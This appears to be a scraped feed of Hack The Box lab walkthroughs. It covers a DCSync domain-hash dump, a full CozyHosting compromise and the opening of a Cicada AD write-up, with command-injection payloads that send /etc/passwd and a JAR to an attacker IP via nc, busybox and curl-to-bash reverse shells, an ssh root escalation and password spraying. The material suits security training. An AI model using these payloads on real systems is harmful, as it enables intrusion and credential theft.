(0.00%) Restore.Point....: 0/14344385 (0.00%) Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#01...: 123456 -\u0026gt; grassa Ethan\u0026#39;s password limpbizkit Lastly we can perform a DCSync attack with ethan and get domain admin.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 └─$ impacket-secretsdump administrator.htb/ethan@administrator.htb Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies Password: [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:\u0026lt;SPOILER\u0026gt;::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6::: administrator.htb\\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7::: administrator.htb\\michael:1109:aad3b435b51404eeaad3b435b51404ee:25451b15eeabfa492d9a18442a6e914b::: administrator.htb\\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:25451b15eeabfa492d9a18442a6e914b::: administrator.htb\\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31::: administrator.htb\\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884::: administrator.htb\\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199::: administrator.htb\\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9::: DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664 Administrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2 Administrator:des-cbc-md5:403286f7cdf18385 krbtgt:aes256-cts-hmac-sha1-96:920ce354811a517c703a217ddca0175411d4a3c0880c359b2fdc1a494fb13648 krbtgt:aes128-cts-hmac-sha1-96:aadb89e07c87bcaf9c540940fab4af94 krbtgt:des-cbc-md5:2c0bc7d0250dbfc7 administrator.htb\\olivia:aes256-cts-hmac-sha1-96:713f215fa5cc408ee5ba000e178f9d8ac220d68d294b077cb03aecc5f4c4e4f3 administrator.htb\\olivia:aes128-cts-hmac-sha1-96:3d15ec169119d785a0ca2997f5d2aa48 administrator.htb\\olivia:des-cbc-md5:bc2a4a7929c198e9 administrator.htb\\michael:aes256-cts-hmac-sha1-96:615a7b6664f0bfc7160e1d3cfe1ca134ffdacaa656ccddd7167aa283c8b211e0 administrator.htb\\michael:aes128-cts-hmac-sha1-96:4374c22e248e847055a39bd1d18cf90b administrator.htb\\michael:des-cbc-md5:cbcb10e05210bc51 administrator.htb\\benjamin:aes256-cts-hmac-sha1-96:3e2ad3748befe7d37e09d531f546a4378a9a5c3fc896847967cb809be66de907 administrator.htb\\benjamin:aes128-cts-hmac-sha1-96:ac2859f4e518f43820a2f739409087af administrator.htb\\benjamin:des-cbc-md5:5dc4f43b1a792cce administrator.htb\\emily:aes256-cts-hmac-sha1-96:53063129cd0e59d79b83025fbb4cf89b975a961f996c26cdedc8c6991e92b7c4 administrator.htb\\emily:aes128-cts-hmac-sha1-96:fb2a594e5ff3a289fac7a27bbb328218 administrator.htb\\emily:des-cbc-md5:804343fb6e0dbc51 administrator.htb\\ethan:aes256-cts-hmac-sha1-96:e8577755add681a799a8f9fbcddecc4c3a3296329512bdae2454b6641bd3270f administrator.htb\\ethan:aes128-cts-hmac-sha1-96:e67d5744a884d8b137040d9ec3c6b49f administrator.htb\\ethan:des-cbc-md5:58387aef9d6754fb administrator.htb\\alexander:aes256-cts-hmac-sha1-96:b78d0aa466f36903311913f9caa7ef9cff55a2d9f450325b2fb390fbebdb50b6 administrator.htb\\alexander:aes128-cts-hmac-sha1-96:ac291386e48626f32ecfb87871cdeade administrator.htb\\alexander:des-cbc-md5:49ba9dcb6d07d0bf administrator.htb\\emma:aes256-cts-hmac-sha1-96:951a211a757b8ea8f566e5f3a7b42122727d014cb13777c7784a7d605a89ff82 administrator.htb\\emma:aes128-cts-hmac-sha1-96:aa24ed627234fb9c520240ceef84cd5e administrator.htb\\emma:des-cbc-md5:3249fba89813ef5d DC$:aes256-cts-hmac-sha1-96:98ef91c128122134296e67e713b233697cd313ae864b1f26ac1b8bc4ec1b4ccb DC$:aes128-cts-hmac-sha1-96:7068a4761df2f6c760ad9018c8bd206d DC$:des-cbc-md5:f483547c4325492a Admininstrator Hash 3dc553ce4b9fd20bd016e098d2d2fd2e We can now log in to the DC as admin (Pass the Hash) and get the root flag.\n","permalink":"https://p4n4s.com/posts/htb/box/administrator/","summary":"Administrator is a medium-difficulty Windows machine designed around a complete domain compromise scenario, where credentials for a low-privileged user are provided. To gain access to the michael account, ACLs (Access Control Lists) over privileged objects are enumerated, leading us to discover that the user olivia has GenericAll permissions over michael, allowing us to reset his password. With access as michael, it is revealed that he can force a password change on the user benjamin, whose password is reset. This grants access to FTP where a backup.psafe3 file is discovered, cracked, and reveals credentials for several users. These credentials are sprayed across the domain, revealing valid credentials for the user emily. Further enumeration shows that emily has GenericWrite permissions over the user ethan, allowing us to perform a targeted Kerberoasting attack. The recovered hash is cracked and reveals valid credentials for ethan, who is found to have DCSync rights ultimately allowing retrieval of the Administrator account hash and full domain compromise.","title":"HTB: AD - Administrator"},{"content":"Machine Info Spoiler CozyHosting is an easy-difficulty Linux machine that features a Spring Boot application. The application has the Actuator endpoint enabled. Enumerating the endpoint leads to the discovery of a user\u0026rsquo;s session cookie, leading to authenticated access to the main dashboard. The application is vulnerable to command injection, which is leveraged to gain a reverse shell on the remote machine. Enumerating the application\u0026rsquo;s JAR file, hardcoded credentials are discovered and used to log into the local database. The database contains a hashed password, which once cracked is used to log into the machine as the user josh. The user is allowed to run ssh as root, which is leveraged to fully escalate privileges. User Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) └─$ nmap -p$ports -sC -sV $VICTIM Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-27 21:05 CET Nmap scan report for cozyhosting.htb (10.129.229.88) Host is up (0.055s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA) |_ 256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Cozy Hosting - Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.87 seconds Let\u0026rsquo;s add cozyhosting.htb to our /etc/hosts\nWeb └└─$ ffuf -u http://cozyhosting.htb/FUZZ -r -w /usr/share/seclists/Discovery/Web-Content/big.txt /\u0026#39;___\\ /\u0026#39;___\\ /\u0026#39;___\\ /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/ \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\ \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/ \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\ \\/_/ \\/_/ \\/___/ \\/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://cozyhosting.htb/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt :: Follow redirects : true :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 ________________________________________________ admin [Status: 401, Size: 97, Words: 1, Lines: 1, Duration: 120ms] asdfjkl; [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 30ms] error [Status: 500, Size: 73, Words: 1, Lines: 1, Duration: 197ms] logout [Status: 204, Size: 0, Words: 1, Lines: 1, Duration: 321ms] login [Status: 200, Size: 4431, Words: 1718, Lines: 97, Duration: 1069ms] Looking at the web we start immediately web enumeration but we didn\u0026rsquo;t find anything useful. The login page didn\u0026rsquo;t seem to be vulnerable to any form of injection. Checking the pages we come across the error page. Looking online we trying to find the tech stack of the web app and we hits for Spring Boot. So we start fuzzing with the correct wordlist and get interesting hits.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 └─$ dirsearch -u http://cozyhosting.htb -w /usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt -e jar,java,class -t 50 /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: jar, java, class | HTTP method: GET | Threads: 50 | Wordlist size: 174 Output File: /home/panas/Desktop/htb-labs/linux/cozyhosting/reports/http_cozyhosting.htb/_26-01-27_22-11-14.txt Target: http://cozyhosting.htb/ [22:11:14] Starting: [22:11:16] 200 - 634B - /actuator [22:11:16] 200 - 5KB - /actuator/env [22:11:16] 200 - 487B - /actuator/env/home [22:11:16] 200 - 487B - /actuator/env/path [22:11:16] 200 - 487B - /actuator/env/lang [22:11:16] 200 - 15B - /actuator/health [22:11:16] 200 - 10KB - /actuator/mappings [22:11:16] 200 - 48B - /actuator/sessions [22:11:17] 200 - 124KB - /actuator/beans Task Completed Looking at the sessions we get a hit which we could use for logging in to the admin panel.\n/actuator/sessions\n1 {\u0026#34;F92F035CAD9E49228ADB894007FB772B\u0026#34;:\u0026#34;kanderson\u0026#34;} Command injection We see the interesting endpoint /executessh which seems that is the attack path we should take for gaining access to the system.\n1 host=127.0.0.1\u0026amp;username=kali Checking in request we see that it has two parameters. Let\u0026rsquo;s try to break out of the command and achieve command injection.\n1 2 3 4 5 6 7 8 9 host=127.0.0.1\u0026amp;username=lol\u0026#39; HTTP/1.1 302 Server: nginx/1.18.0 (Ubuntu) Date: Wed, 28 Jan 2026 23:19:23 GMT Content-Length: 0 Location: http://cozyhosting.htb/admin?error=/bin/bash: -c: line 1: unexpected EOF while looking for matching `\u0026#39;\u0026#39;/bin/bash: -c: line 2: syntax error: unexpected end of file Connection: keep-alive ... We can confirm this is the way. Playing a bit with how the command is structured and when to put quotes can be tricky. After playing a bit we see that we have a restriction in whitespaces as the username cannot contain any. We overcome this with a nice trick found on this article!\nTip We use the ${IFS}. Basically the default value of IFS is space, tab, newline. All of these characters are whitespace. If you need a single space, you can use ${IFS%??}. host=127.0.0.1\u0026amp;username=panas''%3b${IFS%25%3f%3f}cat${IFS%25%3f%3f}/etc/passwd${IFS%25%3f%3f}|nc${IFS%25%3f%3f}10.10.14.91${IFS%25%3f%3f}1234;#''#\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 └─$ nc -lvnp 1234 listening on [any] 1234 ... connect to [10.10.14.91] from (UNKNOWN) [10.129.229.88] 43834 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:104::/nonexistent:/usr/sbin/nologin systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin pollinate:x:105:1::/var/cache/pollinate:/bin/false sshd:x:106:65534::/run/sshd:/usr/sbin/nologin syslog:x:107:113::/home/syslog:/usr/sbin/nologin uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false app:x:1001:1001::/home/app:/bin/sh postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash josh:x:1003:1003::/home/josh:/usr/bin/bash _laurel:x:998:998::/var/log/laurel:/bin/false We achieved command injection to this point. And we should work into spawning a reverse shell. Before that we went a bit and enumerated few things and exhilarated the complete JAR of the application. Info JAR file is a compressed archive format that contains multiple Java-related files, such as class files, resources, and metadata. It allows developers to bundle Java applications, libraries, or modules into a single file for easier distribution and deployment. 1 2 3 4 5 6 7 8 └─$ nc -lvnp 1234 listening on [any] 1234 ... connect to [10.10.14.91] from (UNKNOWN) [10.129.229.88] 60562 total 58856 drwxr-xr-x 2 root root 4096 Aug 14 2023 . drwxr-xr-x 19 root root 4096 Aug 14 2023 .. -rw-r--r-- 1 root root 60259688 Aug 11 2023 cloudhosting-0.0.1.jar ^C Payload we run:host=127.0.0.1\u0026amp;username=panas''%3b${IFS%25%3f%3f}cat${IFS%25%3f%3f}cloudhosting-0.0.1.jar|base64|nc${IFS%25%3f%3f}10.10.14.91${IFS%25%3f%3f}1234;#''#\n1 2 3 4 5 nc -lnvp 1234 \u0026gt; base64jar .... cat base64jar | base64 -d \u0026gt; cloudhosting-0.0.1.jar jar xf cloudhosting-0.0.1.jar We manage to exfiltrate it by base64 encoding it and then decode it to actually uncompress it and read its contents.\nPostgres credentials server.address=127.0.0.1 server.servlet.session.timeout=5m management.endpoints.web.exposure.include=health,beans,env,sessions,mappings management.endpoint.sessions.enabled = true spring.datasource.driver-class-name=org.postgresql.Driver spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect spring.jpa.hibernate.ddl-auto=none spring.jpa.database=POSTGRESQL spring.datasource.platform=postgres spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting spring.datasource.username=postgres spring.datasource.password=Vg\u0026amp;nvzAQ7XxR Shell \u0026amp; Credential Cracking So we know we have Postgresql database. Let\u0026rsquo;s try to achieve a reverse shell at this point. This was tricky since the normal netcat didn\u0026rsquo;t work as it was too old apparently and didn\u0026rsquo;t like the -c or -e flags. So we used another payload based on busybox that worked! Payload:host=127.0.0.1\u0026amp;username=panas''%3b${IFS%25%3f%3f}busybox${IFS%25%3f%3f}nc${IFS%25%3f%3f}10.10.14.91${IFS%25%3f%3f}1234${IFS%25%3f%3f}-e${IFS%25%3f%3f}/bin/bash;#''#\nAfter achieving the reverse shell we upgrade it a bit with python3 -c 'import pty;pty.spawn(\u0026quot;/bin/bash\u0026quot;);' and we enumerate the database.\n1 2 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin User password 1 2 3 └─$ hashcat -m 3200 hashes /usr/share/wordlists/rockyou.txt.gz $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited With the cracked password we ssh into the victim as josh, the username we got from our enumeration before.\nTip Another easier payload for the command injection we found out was test;curl${IFS}http://KALI-IP:1234;. Basically we could use curl to reach our attacker machine. We can then download (or upload!) a rev shell script and execute immediately.\n1 echo -e \u0026#39;#!/bin/bash\\nsh -i \u0026gt;\u0026amp; /dev/KALI-IP/1234 0\u0026gt;\u0026amp;1\u0026#39; \u0026gt; rev.sh And then our payload will look like this: test;curl${IFS}http://KALI-IP:1234/rev.sh|bash;\nRoot SSH Root is actually quite easy.\n1 2 3 4 5 6 7 josh@cozyhosting:~$ sudo -l [sudo] password for josh: Matching Defaults entries for josh on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin, use_pty User josh may run the following commands on localhost: (root) /usr/bin/ssh * 1 2 3 4 5 6 josh@cozyhosting:~$ sudo /usr/bin/ssh -v -o PermitLocalCommand=yes -o \u0026#39;LocalCommand=/bin/bash\u0026#39; josh@127.0.0.1 root@cozyhosting:/home/josh# la .bash_history .bash_logout .bashrc .cache .lesshst .profile .psql_history user.txt .vimrc root@cozyhosting:/home/josh# whoami root root@cozyhosting:/home/josh# Info Reading through the SSH documentation and checking GTFOBins we see that running the command with the -o flag allows us to specify the PermitLocalCommand=yes option. This option is used to allow the execution of local commands on the client machine after a successful SSH connection is established. The LocalCommand=/bin/bash option specifies the local command that should be executed on the machine after a successful SSH connection. In our case, we set it to execute /bin/bash , which means that after connecting to the machine, a bash shell will be opened, and we will have a session as root . ","permalink":"https://p4n4s.com/posts/htb/box/cozyhosting/","summary":"CozyHosting is an easy-difficulty Linux machine that features a Spring Boot application. The application has the Actuator endpoint enabled. Enumerating the endpoint leads to the discovery of a user\u0026rsquo;s session cookie, leading to authenticated access to the main dashboard. The application is vulnerable to command injection, which is leveraged to gain a reverse shell on the remote machine. Enumerating the application\u0026rsquo;s JAR file, hardcoded credentials are discovered and used to log into the local database. The database contains a hashed password, which once cracked is used to log into the machine as the user josh. The user is allowed to run ssh as root, which is leveraged to fully escalate privileges.","title":"HTB: Linux - Cozyhosting"},{"content":"Machine Info Spoiler Cicada is an easy-difficult Windows machine that focuses on beginner Active Directory enumeration and exploitation. In this machine, players will enumerate the domain, identify users, navigate shares, uncover plaintext passwords stored in files, execute a password spray, and use the SeBackupPrivilege to achieve full system compromise. User Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) └─$ nmap -p$ports -sC -sV $VICTIM SStarting Nmap 7.95 ( https://nmap.org ) at 2026-01-26 16:19 CET Nmap scan report for $VICTIM Host is up (0.086s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-01-26 22:19:25Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) |_ssl-date: 2026-01-26T22:20:56+00:00; +7h00m00s from scanner time. | ssl-cert: Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:\u0026lt;unsupported\u0026gt;, DNS:CICADA-DC.cicada.htb | Not valid before: 2024-08-22T20:24:16 |_Not valid after: 2025-08-22T20:24:16 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) |_ssl-date: 2026-01-26T22:20:56+00:00; +7h00m00s from scanner time. | ssl-cert: Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:\u0026lt;unsupported\u0026gt;, DNS:CICADA-DC.cicada.htb | Not valid before: 2024-08-22T20:24:16 |_Not valid after: 2025-08-22T20:24:16 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:\u0026lt;unsupported\u0026gt;, DNS:CICADA-DC.cicada.htb | Not valid before: 2024-08-22T20:24:16 |_Not valid after: 2025-08-22T20:24:16 |_ssl-date: 2026-01-26T22:20:56+00:00; +7h00m00s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) |_ssl-date: 2026-01-26T22:20:55+00:00; +6h59m59s from scanner time. | ssl-cert: Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:\u0026lt;unsupported\u0026gt;, DNS:CICADA-DC.cicada.htb | Not valid before: 2024-08-22T20:24:16 |_Not valid after: 2025-08-22T20:24:16 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 50949/tcp open msrpc Microsoft Windows RPC Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2026-01-26T22:20:16 |_ start_date: N/A |_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 97.46 seconds Let\u0026rsquo;s add cicada.htb and CICADA-DC.cicada.htb to our /etc/hosts\nGuest └─$ kerbrute userenum /usr/share/seclists/Usernames/top-usernames-shortlist.txt -d cicada.htb --dc 10.129.231.149 __ __ __ / /_____ _____/ /_ _______ __/ /____ / //_/ _ \\/ ___/ __ \\/ ___/ / / / __/ _ \\ / ,\u0026lt; / __/ / / /_/ / / / /_/ / /_/ __/ /_/|_|\\___/_/ /_.___/_/ \\__,_/\\__/\\___/ Version: v1.0.3 (9dad6e1) - 01/26/26 - Ronnie Flathers @ropnop 2026/01/26 16:59:39 \u0026gt; Using KDC(s): 2026/01/26 16:59:39 \u0026gt; 10.129.231.149:88 2026/01/26 16:59:39 \u0026gt; [+] VALID USERNAME: guest@cicada.htb 2026/01/26 16:59:39 \u0026gt; [+] VALID USERNAME: administrator@cicada.htb 2026/01/26 16:59:39 \u0026gt; Done! Tested 17 usernames (2 valid) in 0.141 seconds Our user enumeration didn\u0026rsquo;t give us a lot as both accounts are common but we manage to find that the Guest account is actually enabled!\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 └─$ impacket-smbclient guest@10.129.231.149 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies Password: Type help for list of commands # ls [-] No share selected # shares ADMIN$ C$ DEV HR IPC$ NETLOGON SYSVOL # use HR # ls drw-rw-rw- 0 Fri Mar 15 07:26:17 2024 . drw-rw-rw- 0 Thu Mar 14 13:21:29 2024 .. -rw-rw-rw- 1266 Wed Aug 28 19:31:48 2024 Notice from HR.txt # cat Notice from HR.txt Dear new hire! Welcome to Cicada Corp! We\u0026#39;re thrilled to have you join our team. As part of our security protocols, it\u0026#39;s essential that you change your default password to something unique and secure. Your default password is: \u0026lt;PASSWORD HERE\u0026gt; To change your password: 1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above. 2. Once logged in, navigate to your account settings or profile settings section. 3. Look for the option to change your password. This will be labeled as \u0026#34;Change Password\u0026#34;. 4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters. 5. After changing your password, make sure to save your changes. Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password. If you encounter any issues or need assistance with changing your password, don\u0026#39;t hesitate to reach out to our support team at support@cicada.htb. Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team! Best regards, Cicada Corp Default Password Cicada$M6Corpb*@Lp#nZp!8 This is very useful since we manage to get a password (even if it\u0026rsquo;s the \u0026ldquo;default\u0026rdquo; someone maybe keeps using it). We should try and spray it but didn\u0026rsquo;t find any users yet. Knowing that the guest account is used and it\u0026rsquo;s enabled we can enumerate the domain for users.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 └─$ impacket-lookupsid cicada.htb/guest@10.129.231.149 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies Password: [*] Brute forcing SIDs at 10.129.231.149 [*] StringBinding ncacn_np:10.129.231.149[\\pipe\\lsarpc] [*] Domain SID is: S-1-5-21-917908876-1423158569-3159038727 498: CICADA\\Enterprise Read-only Domain Controllers (SidTypeGroup) 500: CICADA\\Administrator (SidTypeUser) 501: CICADA\\Guest (SidTypeUser) 502: CICADA\\krbtgt (SidTypeUser) 512: CICADA\\Domain Admins (SidTypeGroup) 513: CICADA\\Domain Users (SidTypeGroup) 514: CICADA\\Domain Guests (SidTypeGroup) 515: CICADA\\Domain Computers (SidTypeGroup) 516: CICADA\\Domain Controllers (SidTypeGroup) 517: CICADA\\Cert Publishers (SidTypeAlias) 518: CICADA\\Schema Admins (SidTypeGroup) 519: CICADA\\Enterprise Admins (SidTypeGroup) 520: CICADA\\Group Policy Creator Owners (SidTypeGroup) 521: CICADA\\Read-only Domain Controllers (SidTypeGroup) 522: CICADA\\Cloneable Domain Controllers (SidTypeGroup) 525: CICADA\\Protected Users (SidTypeGroup) 526: CICADA\\Key Admins (SidTypeGroup) 527: CICADA\\Enterprise Key Admins (SidTypeGroup) 553: CICADA\\RAS and IAS Servers (SidTypeAlias) 571: CICADA\\Allowed RODC Password Replication Group (SidTypeAlias) 572: CICADA\\Denied RODC Password Replication Group (SidTypeAlias) 1000: CICADA\\CICADA-DC$ (SidTypeUser) 1101: CICADA\\DnsAdmins (SidTypeAlias) 1102: CICADA\\DnsUpdateProxy (SidTypeGroup) 1103: CICADA\\Groups (SidTypeGroup) 1104: CICADA\\john.smoulder (SidTypeUser) 1105: CICADA\\sarah.dantelia (SidTypeUser) 1106: CICADA\\michael.wrightson (SidTypeUser) 1108: CICADA\\david.orelious (SidTypeUser) 1109: CICADA\\Dev Support (SidTypeGroup) 1601: CICADA\\emily.oscars (SidTypeUser) We compose our user list from the found users and we start password spray attack with our known password.\n1 2 3 4 5 6 7 └─$ crackmapexec smb 10.129.231.149 -u users.txt -p \u0026#39;\u0026lt;PASSWORD\u0026gt;\u0026#39; --continue-on-success SMB 10.129.231.149 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False) SMB 10.129.231.149 445 CICADA-DC [-] CICADA\\john.smoulder:\u0026lt;PASSWORD\u0026gt; STATUS_LOGON_FAILURE SMB 10.129.231.149 445 CICADA-DC [-] CICADA\\sarah.dantelia:\u0026lt;PASSWORD\u0026gt; STATUS_LOGON_FAILURE SMB 10.129.231.149 445 CICADA-DC [+] CICADA\\michael.wrightson:\u0026lt;PASSWORD\u0026gt; SMB 10.129.231.149 445 CICADA-DC [-] CICADA\\david.orelious:\u0026lt;PASSWORD\u0026gt; STATUS_LOGON_FAILURE SMB 10.129.231.149 445 CICADA-DC [-] CICADA\\emily.oscars:\u0026lt;PASSWORD\u0026gt; STATUS_LOGON_FAILURE Password leakage We got a hit. User michael.wrightson still uses the default password. Let\u0026rsquo;s run bloodhound-python and collect the data from the directory.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 └─$ bloodhound-python -d cicada.htb -u michael.wrightson -p \u0026#39;\u0026lt;PASSWORD\u0026gt;\u0026#39; -dc cicada.htb -ns 10.129.231.149 -c all INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3) INFO: Found AD domain: cicada.htb INFO: Getting TGT for user WARNING: Failed to get Kerberos TGT. 